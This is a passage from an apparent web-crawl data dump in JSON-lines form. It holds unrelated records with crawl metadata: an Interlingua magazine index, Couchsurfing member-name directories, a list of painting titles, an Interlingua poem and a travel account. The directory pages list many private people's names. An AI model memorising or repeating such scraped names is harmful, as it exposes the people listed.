actual|\n|25||Secrete horologio del gallo||Beq||Le mundo actual|\n|26||Interlingua, mi amor!||Breinstrup, Thomas||Le parolas del mense|\n|26||Amor, amor, amor...||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Simona Sunel||Novas de nomines|\n|28||Le Union Danese pro Interlingua||Novas de nomines|\n|28||Le Union Mundial pro Interlingua||Novas de nomines|\n\n\nNo. 5\/2013, septembre-octobre\n|1||\"Action Asia\" comencia ora||Interlingua debe esser plus diffundite in Asia. Ora veni le prime manuales in japonese e chinese.||Copertura|\n|1||Viage al centro de Mexico||Un viage persona al ver gustos mexican – e al pyramides de Teotihuacan, \"le loco ubi se faceva le deos\".||Copertura|\n|1||Lucta contra armas chimic premiate||Inspectores recipe le Premio Nobel pro le Pace e autor canadian illo pro litteratura.||Copertura|\n|1||Mini-incontro||Scandinavos se incontrava in Göteborg, Svedia.||Copertura|\n|1||Un de octo ha fame||Copertura|\n|1||\"Facile a leger\" es multo benvenite||Le nove serie de libros facile in interlingua es ben recipite – e plus de titulos appare tosto.||Copertura|\n|2||Incontros es le motor de interlingua||Breinstrup, Thomas||Editorial|\n|3||Offensiva pro interlingua in Asia||Interlingua debe esser diffundite e usate multo plus in paises asiatic. Ora veni le prime manuales.||Breinstrup, Thomas||Novas de interlingua|\n|4||Lucta contra armas chimic premiate||Inspectores recipe le Premio Nobel.||Breinstrup, Thomas||Nova|\n|4||Traffico cellular premiate||Th.||Nota|\n|4||\"Particula de Deo\" premiate||Th.||Nota|\n|5||Computatores premiate||Th.||Nota|\n|5||Favorito premiate pro su libros||Le canadiano Alice Munro recipe le Premio Nobel pro litteratura.||Breinstrup, Thomas||Nova|\n|5||Systema periodic sub revision||Th.||Nota|\n|5||Arbores va crescer in Groenlandia||Th.||Nota|\n|5||Nove insula norvegian discoperite||Th.||Nota|\n|6||Bombas revela chassa furtive||Beq||Nota|\n|6||Rhinocerotes occidite||Beq||Nota|\n|6||Embryon con competentia linguistic||Beq||Nota|\n|6||Un de octo in le mundo ha fame||842 milliones non pote mangiar assatis pro tener via lor fame. Le lucta contra fame non progrede si ben como desirate.||Breinstrup, Thomas||Nova|\n|7||Africa del Sud gania lucta contra malaria||Reductin de mortalitate de 85 pro cento, ma le methodos pro diminuer le risco non es sempre appreciate.||Breinstrup, Thomas||Nova|\n|7||Comprensibile pro omnes||Th.||Nota|\n|8||Tres nove pecias per Shakespeare||Le homine detra tres cognoscite classicos es con securitate le autor famose.||Breinstrup, Thomas||Nova|\n|8||Leges de aborto es acutiate in Europa||Beq||Nova|\n|9||2,7 mia. essera in linea al fin del anno||Sempre plus de homines ha accesso a Internet, ma ancora 4,4 milliardos non lo ha.||Th.||Nova|\n|9||Bombos importate con maladias||Beq||Nota|\n|9||Homosexualitate e toleration||Beq||Nota|\n|10||Quiz in interlingua||Madsen, W.||Quiz|\n|10||Interlingua in practica||Th.||Interlingua in practica|\n|11||Linux progrede in interlingua||Novas de interlingua|\n|11||Ancora duo Cartas nordic||Novas de interlingua|\n|11||Vesperes de interlingua continua||Novas de interlingua|\n|11||Mini-guida de Interforo pro omnes||Novas de interlingua|\n|12||Placard:interlingua in 1.000 parolas||Novas de interlingua|\n|12||Mini-guida: Scribe pro Wikipedia||Novas de interlingua|\n|12||Desira corresponder||Novas de interlingua|\n|13||Visita danese in Göteborg||Novas de interlingua|\n|14+15||\"Facile a leger\" es multo benvenite||Edgar Allan Poe: \"Le homicidios in le Rue Morgue\", Thomas Breinstrup \"Le anno – 12 menses in photos e parolas\", Alphonse Daudet: \"Litteras de mi molino\"||E.E.||Libros|\n|16||Un mina de auro del mundo de anatomia||Carlos Soreto: \"Vocabulario de anatomia\"||Th.||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|17||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|18+19+20+21||Viage al centro de Mexico||Un reportage personal||Rinaldi, Cláudio||Viages|\n|22||Le hospital central||Notarstefano, Onofrio||Litteratura|\n|22+23||Darwin||Notarstefano, Onofrio||Litteratura|\n|24||van Gogh trovate sur le subtecto||Th.||Le mundo actual|\n|24||Precio de record pro diamante||Th.||Le mundo actual|\n|24||\"Nove\" original de da Vinci||Th.||Le mundo actual|\n|24||Le fumar mortal||Beq||Le mundo actual|\n|24||Nitrito in le carne causa cancer||Beq||Le mundo actual|\n|25||Cigarrettas face immunde||Beq||Le mundo actual|\n|25||A revider a Morse||Beq||Le mundo actual|\n|25||Seductive in su maniera||Beq||Le mundo actual|\n|25||Attitude al UE differe||Beq||Le mundo actual|\n|25||Nulle infante = risco||Beq||Le mundo actual|\n|26||Su es singular, lor es plural||Breinstrup, Thomas||Le parolas del mense|\n|26||Pan e pan-||Breinstrup, Thomas||Le parolas del mense|\n|26||Inserer – insertar||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Michel Prim||Novas de nomines|\n|28||Lith Neerbek||Novas de nomines|\n\n\nNo. 6\/2013, novembre-decembre\n|1||Le fusilator de Kennedy?||Un error technic revela un fusilator usque ora invisibile – ma solve isto le mysterio?||Copertura|\n|1||Duo nove libros facile||Le serie \"Facile a leger in interlingua\" adde duo originales.||Copertura|\n|1||Massacro||Le elephantes in Africa es in grande periculo.||Copertura|\n|1||Interlingua sub radar||Copertura|\n|1||\"Eh? Tu dice que?\"||Juvenes scandinave non se intercomprende plus.||Copertura|\n|1||Assi deveni 2014||Grande calendario de tote le eventos a venir.||Copertura|\n|1||Radio cultur in latino||Copertura|\n|1||Homine con 3 sposas||Conto ab \"Mille e un noctes\" in interlingua facile.||Copertura|\n|1||Brrrr, hiberno!||Copertura|\n|2||Interlingua ha laborate sub le radar||Breinstrup, Thomas||Editorial|\n|3||Mysterios original e contos classic in le nove serie facile||Ancora duo titulos in le serie \"Facile a leger in interlingua\" debe crear placer pro leger litteratura.||Th.||Novas de interlingua|\n|4+5||Le assassination que remanera un mysterio||Le morte de presidente John F. Kennedy continua occupar mentes in tote le mundo, mesmo si 50 annos ora ha passate. Nove theorias e nove possibile provas anque continua apparer – le plus recente revela un fusilator usque hodie invisibile.||Breinstrup, Thomas||Nova|\n|5||Le conspirationes||Nova|\n|6||80 elephantes occidite per cyanido||Chassatores furtive occideva grande gruppo de animales per toxico in un massacro.||Breinstrup, Thomas||Nova|\n|6||Protection de species besoniate in 78 sitos||Th.||Nova|\n|7||797 defensas confiscate||Policia tanzanian arresta tres chineses.||Breinstrup, Thomas||Nova|\n|8+9+10||2014 – eventos e anniversarios a expectar||Breinstrup, Thomas||Nova|\n|10||Tutankhamon revelate||Th.||Nota|\n|10||Monumento preste in 2026||Th.||Nota|\n|10||Ferrovia estafrican aperite||Th.||Nota|\n|11||Radio finnese dona vita al latino classic||Cata venerdi vespere sona le classic lingua latin del altoparlatores, directemente de Radio Finlandia como un estranie message del passato e con multe defias del vocabulario moderne.||Breinstrup, Thomas||Nova|\n|12+13||Linguas vicin ha devenite estranier||Juvene daneses e svedeses ha problemas de comprender le lingua del alteres, mesmo si le linguas es multo identic. In vice, multes parla anglese.||Breinstrup, Thomas||Nova|\n|13||Prohibition elegante||Th.||Nota|\n|13||Calculation de traffico||Beq||Nota|\n|13||Minus de sacchettos de plastico||Beq||Nota|\n|14||Corrector orthographic actualisate||Novas de interlingua|\n|14||Consilio svedese continua||Novas de interlingua|\n|14||50 annos con interlingua in Svedia||Novas de interlingua|\n|14||KDE Linux in interlingua progrede||Novas de interlingua|\n|15||Tour de fortia – e in interlingua||Novas de interlingua|\n|15||Blog super litteratura in portugese||Novas de interlingua|\n|16||Grande cañon celate sub le glacie||Collega a Grand Canyon revelate duo kilometros sub le glacie groenlandese.||Breinstrup, Thomas||Scientia|\n|17||1.400 nove cellulas||Beq||Scientia|\n|17||Somno e luna plen||Beq||Scientia|\n|17||Radiation cosmic||Beq||Nota|\n|17||Parto e excesso de peso||Beq||Nota|\n|17||Contra le mosquitos||Beq||Nota|\n|18||Dictionario inverse de interlingua||Th.||Libros|\n|18||Grande dictionario svedese preste||Th.||Libros|\n|18||Nove publicationes in interlingua||Th.||Libros|\n|19||\"Le Chronica\" como e-libro||Th.||Libros|\n|19||Nove e-boteca del UMI||Th.||Libros|\n|20||Quiz in interlingua||Madsen, W.||Quiz|\n|20||Interlingua in practica||Interlingua in practica|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le homine con tres sposas||Ab le collection de contos \"Mille e un noctes\"||Notarstefano, Italo||Litteratura|\n|24||Limite a naves in Venetia||Th.||Le mundo actual|\n|24||Diamante le plus grande vendite||Th.||Le mundo actual|\n|24||Pictura de Bacon costosissime||Th.||Le mundo actual|\n|24||World Trade Center aperi||Th.||Le mundo actual|\n|24||Caffe importante in periculo||Beq||Le mundo actual|\n|25||Simias deveni melancholic||Beq||Le mundo actual|\n|25||Le limace forestal||Beq||Le mundo actual|\n|25||Arbore gigantesc mori||Th.||Le mundo actual|\n|25||Nove energia del vento||Beq||Le mundo actual|\n|26||Brrrrrrrrrr!||Breinstrup, Thomas||Le parolas del mense|\n|26||Troppo (non \"troppe\")||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Bertil Palmquist||Novas de nomines|\n|28||Felice Natal e bon anno nove 2014!||Novas de nomines|","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.interlingua.com\/panorama\/indices\/anno_2013","date":"2017-04-29T09:28:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123484.45\/warc\/CC-MAIN-20170423031203-00209-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.971309185,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.9713091850280762}","num_words":5546,"character_repetition_ratio":0.18,"word_repetition_ratio":0.036,"special_characters_ratio":0.263,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":6756.2,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Maxime Lavoine||Maxime Le Hen|\n|maxime lavoisier||Maxime Le Héricy|\n|Maxime LAVOLEE||Maxime Le Hung|\n|Maxime Lawrence||Maxime Le Jossec|\n|Maxime Lazard||Maxime LE LEANNEC|\n|Maxime Lch||Maxime Le Livec|\n|Maxime Lct||Maxime Le Martret|\n|Maxime Le Bars||maxime Le mee|\n|Maxime Le Ber||Maxime Le Ménach|\n|Maxime LE BIHAN||Maxime Le Métayer|\n|maxime le bihan||Maxime Le Meur|\n|Maxime Le Bouffo||Maxime Le miere|\n|Maxime Le Bras||Maxime LE MINEUR|\n|Maxime Le Bras||Maxime Le Minoux|\n|Maxime Le Bret||Maxime Le Moal|\n|Maxime Le Breton||Maxime Le Moigne|\n|Maxime Le Calvé||Maxime Le Moing|\n|Maxime Le Clerc||Maxime Le Moing|\n|Maxime Le Colleter||Maxime Le Moing|\n|Maxime Le Corre||Maxime Le morillon|\n|Maxime le Corronc||Maxime Le Morillon|\n|Maxime Le Dantec||maxime le moual|\n|Maxime Le Docte||Maxime Le Nahelec|\n|Maxime Le Douget||maxime Le Pape|\n|maxime le douget||maxime Le pocreau|\n|Maxime Le Droupeet||Maxime Le Puil|\n|Maxime Le Dû||maxime le rigoleur|\n|Maxime Le Frère||Maxime Le Roux|\n|Maxime Le Fur||Maxime Le Roux|\n|Maxime Le Gagne||Maxime Le Roy|\n|Maxime Le Gal||Maxime Le Roy|\n|Maxime Le Gal||Maxime Le Roy|\n|maxime Le Gall||Maxime Le Roy|\n|Maxime Le Gall||Maxime Le Royer|\n|Maxime Le gallo||Maxime Le Rudulier|\n|Maxime Le Gallo||Maxime Le Ruyet|\n|Maxime Le Goff||Maxime Le Saux|\n|Maxime Le Gouareguer||Maxime Le Sommer|\n|Maxime Le Goueff||Maxime Le Stein|\n|Maxime Le Gravier||Maxime Le strat|\n|Maxime le Grelle||Maxime Le Texier|\n|Maxime LE GUEN||Maxime Le Thuaut|\n|Maxime Le Guennec||Maxime LE TOQUIN|\n|Maxime Le Guennec||Maxime Le Touarin|\n|Maxime Le Guern||Maxime Le Touche|\n|Maxime Le Guil||Maxime Le Toullec|\n|Maxime Le Guil||Maxime Le Tutour|\n|MAXIME LE GUILLOU||Maxime Le Vacon|\n|Maxime Le Guyader||Maxime léa B|\n|Maxime Le Guyader||Maxime LEBAIL|","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.couchsurfing.com\/directory\/M-0-95-24","date":"2018-01-24T08:11:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893530.89\/warc\/CC-MAIN-20180124070239-20180124090239-00253.warc.gz","language":"ina","language_score":0.5731403232,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5731403231620789, \"nrm_Latn_score\": 0.3764721155166626}","num_words":458,"character_repetition_ratio":0.251,"word_repetition_ratio":0.018,"special_characters_ratio":0.257,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":37703.3,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Peter Ikeler||Peter Inglesby|\n|Peter Ikle||Peter Ingman|\n|Peter Ikonomopoulos||Peter Ingraham|\n|Peter Ilanovsky||Peter Ingram|\n|Peter Ilavsky||Peter Ingram|\n|Peter Ilchev||Peter Ingram|\n|Peter Iliev||Peter Ingtoft|\n|Peter Iliev||Peter Ingwersen|\n|Peter Ilinov||Peter Ingwersen|\n|Peter Illes||Peter Inizan|\n|Peter Illes||Peter Injoque|\n|Peter Illes||Peter Injoque Velezmoro|\n|Peter Illés||Peter Inked|\n|Peter Illes||Peter Innerhofer|\n|Peter Illes||Péter Inóci|\n|Peter Illhardt||peter Inpan|\n|Peter Illhardt||Peter Iodice|\n|Peter Illich||peter iones|\n|Peter Illig||peter iosch|\n|Peter Illner||peter iosch|\n|Peter Illo||Peter Ip|\n|Peter Illum||Peter Ip|\n|Peter Ilmert||Peter Ip|\n|Peter Ilyin||Peter Ip|\n|Peter Im||Péter Ipolyi|\n|peter imade||Peter Ireland|\n|Peter Imai||Peter Irgendwie|\n|Peter Imascono||Peter Irie|\n|Peter Imbong||Peter Iron|\n|Peter Imhof||Peter Ironmint|\n|Peter Imhof||Peter Irungu Gikungu|\n|Peter Imholz||Peter Irvine|\n|Peter Immel||Peter Irving|\n|Peter Immer||Peter Irving Corvera|\n|Peter Imoesi||Peter Irwin|\n|Peter Impe||Peter Irwin|\n|Peter Impeezee||Peter Irwin|\n|Peter Imrich||Peter Isaac|\n|Peter Imrich||Peter Isaac|\n|Peter Imrich||peter Isaac|\n|peter in||Peter Isaacson|\n|Peter in Dallas||Peter Isaacson|\n|Peter in Sofia||Peter Isaak|\n|Peter Ince||Peter Isabirye|\n|Peter Indri||Peter Isachenko|\n|Peter Ing||Peter Isberg|\n|Peter Ingelsson||Peter Ischka|\n|Peter Ingemann||Peter Isemann|\n|peter ingeri||Peter IsGone|\n|Peter Ingersoll||Peter Ishak|","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.couchsurfing.com\/directory\/P-31-36","date":"2018-02-24T06:50:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815435.68\/warc\/CC-MAIN-20180224053236-20180224073236-00028.warc.gz","language":"ina","language_score":0.3937252462,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3937252461910248, \"som_Latn_score\": 0.09161777049303055, \"kal_Latn_score\": 0.07959400117397308, \"dag_Latn_score\": 0.050809670239686966, \"anp_Deva_score\": 0.02688746526837349, \"scn_Latn_score\": 0.018744943663477898, \"qve_Latn_score\": 0.01744253747165203, \"glg_Latn_score\": 0.01539220754057169, \"lim_Latn_score\": 0.015336548909544945}","num_words":505,"character_repetition_ratio":0.173,"word_repetition_ratio":0.04,"special_characters_ratio":0.249,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.185,"perplexity_score":34077.6,"cluster_detection":-1} +{"text":"| More\nPeter Heydeck\nPeter HeydeckFlowers\nPeter Heydeckfight\nPeter HeydeckFarm\nPeter HeydeckAggregate (detаil)\nPeter HeydeckBallad of the boar\nPeter HeydeckBallad of Perishability\nPeter HeydeckBallad of a wooden bench.\nPeter HeydeckFree Verse\nPeter HeydeckKampf.\nPeter HeydeckAugust\nPeter Heydeckboatman\nPeter HeydeckRelief\nPeter HeydeckRelief\nPeter Heydeckproprietor\nPeter HeydeckGuardian\nPeter HeydeckPearl\nPeter HeydeckTussle\nPeter HeydeckRobert\nPeter HeydeckHunter\nPeter HeydeckGlass Ball\nPeter HeydeckСamp\nPeter HeydeckСave Рaintings\nPeter HeydeckSage\nPeter HeydeckGreen Bird\nPeter Heydeck Walking Tour\nPeter HeydeckTravelers\nPeter HeydeckIsland 2\nPeter HeydeckParrots\nPeter HeydeckThe message. А Larva\nPeter HeydeckDebate\nPeter HeydeckА Jack\nPeter HeydeckIsland\nPeter HeydeckExpectation\nPeter HeydeckLift\nPeter HeydeckThe Morning (2)\nPeter HeydeckА Beach\nPeter HeydeckThe Morning\nPeter Heydeck Foreigner\nPeter HeydeckMonarch\nPeter HeydeckBefore the Beginning.\nPeter HeydeckThe Seagull. 2\nPeter HeydeckShine and flicker\nPeter HeydeckBirds\nPeter HeydeckА Run\nPeter HeydeckCoffee for Vermeer\nPeter HeydeckThe Supermarket\nPeter HeydeckApres nous...\nPeter HeydeckThe Fight\nPeter Heydeckthe Visitation\nPeter HeydeckThe Design\nPeter HeydeckThe Workshop\nPeter HeydeckGifts terrestrial and heavenly.\nPeter HeydeckThe Expectation\nPeter HeydeckA Marathon\nPeter HeydeckThe latest news\nPeter HeydeckThe Observer\nPeter HeydeckThe Seagull\nPeter HeydeckThe Choice.\nPeter HeydeckGifts terrestrial and heavenly.\nPeter HeydeckThe Encounter\nPeter HeydeckThe TONE\nPeter HeydeckThe Stage\nPeter HeydeckThe Saga\nPeter HeydeckThe Show-window\nPeter HeydeckThe Break.2\nPeter HeydeckThe Break\nPeter HeydeckBreak\nPeter HeydeckMice Jankulovski\nPeter HeydeckVentseslav Antonov\nPeter HeydeckPaolo Ciampini\nPeter HeydeckStefan Berger\nPeter HeydeckPawel Warchol\nPeter HeydeckMacedonian. Hard worker.\nPeter HeydeckAt the Ohrid lake.\nPeter Heydeck Street in Ohrid.\nPeter HeydeckCode\nPeter HeydeckOld house. Macedonia.\nPeter HeydeckThe glass world\nPeter HeydeckMetropolitan Andrey Sheptytsky\nPeter HeydeckThe Signs\nPeter HeydeckNew Babylon\nPeter HeydeckThe Appointment\nPeter HeydeckThe Church\nPeter HeydeckThe wood for the fireplace.\nPeter HeydeckThe alleyway ligurienne.\nPeter HeydeckThe Shadows\nPeter HeydeckPresence of China.\nPeter HeydeckFreiburg. The Rose Garden. 3\nPeter HeydeckFreiburg. The Rose Garden. 2\nPeter HeydeckO.-M.\nPeter HeydeckBogdan\nPeter HeydeckStilleben\nPeter HeydeckEvening in Munich\nPeter HeydeckFreiburg. The Rose Garden. 1\nPeter HeydeckThe Statue\nPeter HeydeckThe Picture\nPeter HeydeckThe Scripts\nPeter HeydeckThe Slope\nPeter HeydeckThe Court\nPeter HeydeckThe Shooter\nPeter HeydeckGold cloud\nPeter HeydeckThe Winter\nPeter HeydeckIn a Garden\nPeter HeydeckDrohobych. 29.02\nPeter HeydeckWave of a Wing\nPeter HeydeckThe Legend\nPeter HeydeckThe Prophet\nPeter HeydeckPray\nPeter HeydeckWanderers\nPeter HeydeckWalk with a cat\nPeter HeydeckReflection\nPeter HeydeckPegasus\nPeter HeydeckGrandma Nastja\nPeter HeydeckBreakfast\nPeter HeydeckThe Ancient World\nPeter HeydeckA Geese\nPeter HeydeckThe Оbserver\nPeter HeydeckMinotaurus\nPeter HeydeckThe Attraction\nPeter HeydeckThe White Little Cap\nPeter HeydeckLight and Shadow\nPeter HeydeckS-n №8\nPeter Heydeck The Pasture\nPeter HeydeckFr.S.\nPeter HeydeckThe Harp\nPeter HeydeckOracle Paul\nPeter Heydeck Forgotten stories\nPeter HeydeckS-n №7\nPeter HeydeckV.S.\nPeter HeydeckGold cloud\nPeter HeydeckWarm evening\nPeter Heydeck00:00\nPeter HeydeckMaster No. 941\nPeter HeydeckRepulsion\nPeter HeydeckSage\nPeter HeydeckS-n №3\nPeter HeydeckS-n №2\nPeter HeydeckPortrait of NN\nPeter HeydeckSelf-portrait against the Alps\nPeter HeydeckSelf-portrait\nPeter HeydeckGolden sky\nPeter HeydeckMountains\nPeter HeydeckS-n №1\nPeter HeydeckА+В+С\nPeter HeydeckWanderer\nPeter HeydeckPortrait N\nPeter HeydeckMacedonia. Journey for award.\nPeter HeydeckOn freedom\nPeter HeydeckAcquaintance\nPeter HeydeckThe proof\nPeter HeydeckDissolution\nPeter HeydeckCologne Cathedral\nPeter HeydeckCologne. Embankment (fragment)\nPeter HeydeckSleeping\nPeter HeydeckChair\nPeter HeydeckPoster for unwritten performance\nPeter HeydeckQuiet town\nPeter HeydeckElectric tramp (version)\nPeter HeydeckArabesque\nPeter HeydeckYard\nPeter HeydeckCarnival wealth (rehash)\nPeter HeydeckLove of masks (rehash)\nPeter HeydeckVenetian dresses (rehash)\nPeter HeydeckVERANDA\nPeter HeydeckVenetian mask 2 (rehash)\nPeter HeydeckVenetian mask (rehash)\nPeter HeydeckCarnival Dresses\nPeter HeydeckVenetian tragedy\nPeter HeydeckArchangel's Head (fragment)\nPeter Heydeck**********\nPeter HeydeckElectric Tramp\nPeter HeydeckTrace\nPeter HeydeckGlassy chicken\nPeter HeydeckSoldier and monch (final version)\nPeter HeydeckSoldier and monch\nPeter HeydeckBird\nPeter HeydeckGlowworm\nPeter HeydeckViolinist (family portrait)\nPeter HeydeckCITY\nPeter HeydeckHAND (project)\nPeter HeydeckBison. 2\nPeter HeydeckSinging crocodiles\nPeter HeydeckAbandoned constructions (warmed-over cabbage of my own song)\nPeter HeydeckMaster\nPeter Heydeckthe Creation. Version 748\nPeter HeydeckFellow's portrait (draft)\nPeter HeydeckLay of Igor's Warfare, illustration\nPeter HeydeckSummer\nPeter HeydeckSTRON\nPeter HeydeckLittle fountain project (version)\nPeter HeydeckImponderability comprehension\nPeter HeydeckPeter Heydeck \" Bilder in Bleistift\" (Album of paintings)\nPeter HeydeckAnchoret\nPeter HeydeckFortress ruins\nPeter HeydeckVietnam. Creek near Hai Phong (sketch)\nPeter HeydeckVietnam. Reservation (sketch)\nPeter HeydeckAugust (sketch)\nPeter HeydeckSilver landscape\nPeter HeydeckMorning\nPeter HeydeckOresta-Maria\nPeter HeydeckDance\nPeter HeydeckAnnette\nPeter HeydeckHOUSE\nPeter HeydeckTrick. 3\nPeter HeydeckWarm day\nPeter HeydeckSilver trees\nPeter HeydeckVenetian kitsch. 2\nPeter HeydeckGirl and Castle\nPeter HeydeckShop\nPeter HeydeckNascence of the mount.1\nPeter HeydeckClouds in the horizon\nPeter HeydeckSnow architecture\nPeter HeydeckMoth or Silver of simmetry\nPeter HeydeckBison\nPeter HeydeckRed horse\nPeter HeydeckINSTALLATOR (final version)\nPeter HeydeckOrder\nPeter HeydeckInstallator (version)\nPeter HeydeckInstallator\nPeter HeydeckSecret of a bank or Sum of internal times equals the sum of steps\nPeter HeydeckAfrican Woman\nPeter HeydeckThe Two\nPeter HeydeckMoment\nPeter HeydeckBust\nPeter HeydeckGARDEN\nPeter HeydeckA garden (amplification the subject)\nPeter HeydeckGARDEN\nPeter Heydeckthe night\nPeter HeydeckProtection\nPeter HeydeckA dream\nPeter HeydeckThe project of a fountain in the conservatory\nPeter HeydeckGerald\nPeter HeydeckCrashout\nPeter HeydeckThe shore of South China Sea (sketch)\nPeter HeydeckLibokhory\nPeter HeydeckA sign\nPeter HeydeckShine and twinkling\nPeter HeydeckMorning. Evening\nPeter HeydeckAssyrian\nPeter HeydeckAlexander\nPeter HeydeckThe area of disastrous inundation\nPeter HeydeckBirds\nPeter Heydeckpell mell\nPeter HeydeckCongratulations!\nPeter HeydeckStill-life painting with Wolter\nPeter HeydeckA swan\nPeter HeydeckGolden sphere\nPeter HeydeckPARK\nPeter HeydeckA cave\nPeter HeydeckA sack reduced to ashes\nPeter HeydeckThe red bicycle\nPeter HeydeckThe text\nPeter HeydeckA plash of sunlight\nPeter HeydeckLevitation\nPeter HeydeckPower\nPeter HeydeckThe shape 245\nPeter HeydeckThe overcoming\nPeter HeydeckDancing\nPeter HeydeckThe mirror\nPeter HeydeckA peacock\nPeter HeydeckThe tree\nPeter Heydeck2037\nPeter HeydeckThe ECHO (fragment)\nPeter HeydeckThe temple of visions\nPeter HeydeckDuomo\nPeter HeydeckHuntress\nPeter HeydeckMuseum\nPeter HeydeckThe origination of a mountain\nPeter HeydeckDima\nPeter HeydeckAn experiment\nPeter HeydeckThe Path\nPeter HeydeckFlying near\nPeter HeydeckTwo crocodiles\nPeter HeydeckA white horse\nPeter HeydeckThe cameo-shell\nPeter HeydeckHaute Couture\nPeter HeydeckClouds\nPeter HeydeckLuce solare\nPeter HeydeckThe silence\nPeter HeydeckThe larine birds\nPeter HeydeckThe flowers\nPeter HeydeckA tree\nPeter HeydeckThe notches\nPeter HeydeckThe warm day, 2\nPeter HeydeckThe scent of the meadow\nPeter HeydeckEvening\nPeter Heydeck******\nPeter HeydeckSpots of light\nPeter HeydeckMademoiselle with rose\nPeter HeydeckGutter-bird\nPeter HeydeckLeptoptilos\nPeter HeydeckThe warm day\nPeter HeydeckIn the shadows of plane-trees\nPeter HeydeckGrasshopper\nPeter HeydeckIn grass\nPeter HeydeckJuly\nPeter HeydeckA Face\nPeter HeydeckFleure immortelle\nPeter HeydeckThe Books\nPeter Heydeck****\nPeter HeydeckThe candle\nPeter Heydeckaggregate\nPeter HeydeckThe creatura\nPeter HeydeckThe return\nPeter HeydeckDUOMO\nPeter HeydeckClock\nPeter HeydeckThe hour of typhoon\nPeter HeydeckThe insurance company office\nPeter HeydeckThe alien\nPeter HeydeckThe street singers\nPeter HeydeckBuffalo","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/arts-ua.com\/artists\/Heydeck\/new\/","date":"2018-07-19T21:13:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591296.46\/warc\/CC-MAIN-20180719203515-20180719223515-00096.warc.gz","language":"ina","language_score":0.3270266354,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.3270266354084015, \"eng_Latn_score\": 0.22198855876922607, \"dag_Latn_score\": 0.07819173485040665, \"trv_Latn_score\": 0.04594096541404724, \"sco_Latn_score\": 0.04002983868122101, \"ben_Latn_score\": 0.036354295909404755, \"ast_Latn_score\": 0.026884151622653008, \"dan_Latn_score\": 0.017311519011855125, \"ile_Latn_score\": 0.015064804814755917, \"deu_Latn_score\": 0.012422818690538406, \"som_Latn_score\": 0.010220261290669441}","num_words":2891,"character_repetition_ratio":0.3,"word_repetition_ratio":0.043,"special_characters_ratio":0.14,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.718,"perplexity_score":37513.9,"cluster_detection":-1} +{"text":"Jan 1, 2016\nIn le comencio\ne in le fin del libro\nil ha alcun folios vacue\nAnte le conto\ne post le conto\nson necessari parve pausas\nmicre delimitationes\nPrimo iste vacuitate\ncrea spatio pro nove pensatas\ne postea\nun placia pro reflexion\ne conclusiones\nante que continua\nle sequente narration\nIn infantia io credeva\nque lo plus grande\nes le amor al matre\nIn juventute io credeva\nque lo plus grande\nes le amor al femina\nNunc, maturate, io senti\nque lo plus grande\nes le amor a mi infante\nQual amor es le plus grande\nin vetulessa?\nForsan le amor al vita,\ndel qual le fin se approxima\ntroppo hastivemente?","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/poemasepensatas.blogspot.com\/2016\/01\/","date":"2018-07-23T11:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676596336.96\/warc\/CC-MAIN-20180723110342-20180723130342-00070.warc.gz","language":"ina","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"ina_Latn_score\": 1.000008225440979}","num_words":125,"character_repetition_ratio":0.12,"word_repetition_ratio":0.034,"special_characters_ratio":0.205,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":1976.8,"cluster_detection":-1} +{"text":"Durante cinque dies in april 2013 mi sposa e io insimul con duo amicos participava in un viage charter a Budapest in Hungaria. Le agentia de viages, \"Favoritresor\", se profila como un agentia pro viages cultural e thematic e nos habeva duo cicerones excellente: Niklas Lindblad qui labora in le Radio Svedese con programmas musical e Susanna Tar (Shushá) un guida local qui habeva studiate svedese in le universitate e habeva recipite un stipendio pro studios in Svedia. Nos volava ab Göteborg via Stockholm e le temperie in Svedia esseva frigide ma quando nos arrivava a Budapest le calor nos incontrava. Quasi toto esseva includite in le precio del viage, solmente duo cenas e un prandio nos ipse debeva arrangiar e pagar. Omne entratas tamben esseva includite.\nMercuridi le 17 de april\nNos nos\neveliava a 4 horas in le matino le 17 de april e con auto nos viagiava insimul\ncon nostre amicos al aeroporto Landvetter in Göteborg. Quando nos arrivava a\nStockholm-Arlanda aeroporto nos incontrava le altere participantes, totalmente\n25 personas, e nostre ciceron Niklas Lindblad. Le volata a Budapest durava 2\nhoras e 20 minutas.Ibi le\ntemperatura 